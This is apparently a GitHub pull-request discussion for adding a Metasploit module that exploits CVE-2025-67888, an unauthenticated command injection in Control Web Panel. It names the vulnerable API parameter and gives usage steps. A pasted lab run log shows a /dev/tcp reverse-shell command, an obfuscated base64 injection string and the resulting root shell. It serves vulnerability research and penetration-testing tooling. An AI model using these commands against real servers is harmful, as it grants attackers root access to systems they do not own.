Adds module for Control Web Panel API Command Injection (CVE-2025-67888)

[JohannesLks]

Fixes #20788

Add Control Web Panel API Command Injection Exploit (CVE-2025-67888)

This PR adds a new exploit module for CVE-2025-67888, an unauthenticated OS command injection vulnerability in Control Web Panel (CWP) versions <= 0.9.8.1208.

What does this change do?

Adds exploit/linux/http/control_web_panel_api_cmd_exec which exploits a blind command injection via the key GET parameter in /admin/index.php when api=1 is set. Successful exploitation grants root-level access.

Prerequisites: Softaculous and/or SitePad must be installed via CWP Scripts Manager.

Files Added

• modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb
• documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md

Verification

• Start msfconsole
• use exploit/linux/http/control_web_panel_api_cmd_exec
• set RHOSTS <target>
• set RPORT 2031
• set SSL true
• set LHOST <attacker>
• check
• Verify target is detected as vulnerable (time-based check)
• set payload cmd/unix/reverse_bash
• exploit
• Verify shell session opens with root privileges
• Document verified via included documentation file

References

• CVE-2025-67888
• https://karmainsecurity.com/KIS-2025-09

[bcoles]

see #20788

Pro-tip: If you write "Fixes #20788", then when this PR is merged that issue will also be closed automatically.

[msutovsky-r7]

@JohannesLks would you mind providing bit more clear installation steps? I've been trying to install the CWP on fresh CentOS7 using this, but no luck so far, so I wanted check what was your approach for setting up the target?

[JohannesLks]

@JohannesLks would you mind providing bit more clear installation steps? I've been trying to install the CWP on fresh CentOS7 using this, but no luck so far, so I wanted check what was your approach for setting up the target?

@msutovsky-r7 I also had a hard time setting it up, its not straightforward. I used CentOS 8 and I needed to modify the installation script.
cwp-el8-latest.sh

This should work, if you still hit a wall I am happy to help, but I think that was all it needs.

[msutovsky-r7]

msf exploit(linux/http/control_web_panel_api_cmd_exec) > run verbose=true 
[+] bash -c '0<&67-;exec 67<>/dev/tcp/192.168.168.128/4444;sh <&67 >&67 2>&67'
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking vulnerability with sleep command (waiting 10 seconds)...
[*] Elapsed time: 10.31 seconds
[+] The target is vulnerable. Server waited 10.31 seconds (expected >= 10).
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Executing command: echo${IFS}YmFzaCAtYyAnMDwmMTU5LTtleGVjIDE1OTw+L2Rldi90Y3AvMTkyLjE2OC4xNjguMTI4LzQ0NDQ7c2ggPCYxNTkgPiYxNTkgMj4mMTU5Jw==|((command${IFS}-v${IFS}base64>/dev/null&&(base64${IFS}--decode||base64${IFS}-d))||(command${IFS}-v${IFS}openssl>/dev/null&&openssl${IFS}enc${IFS}-base64${IFS}-d))|sh
[*] Command shell session 1 opened (192.168.168.128:4444 -> 192.168.168.229:43278) at 2026-01-12 15:48:37 +0100


id
uid=0(root) gid=0(root) groups=0(root)

[msutovsky-r7]

Release Notes

This adds a new module for Control Web Panel (CVE-2025-67888). The vulnerability is unauthenticated OS command injection through an exposed API. The modules require Softaculous to be installed.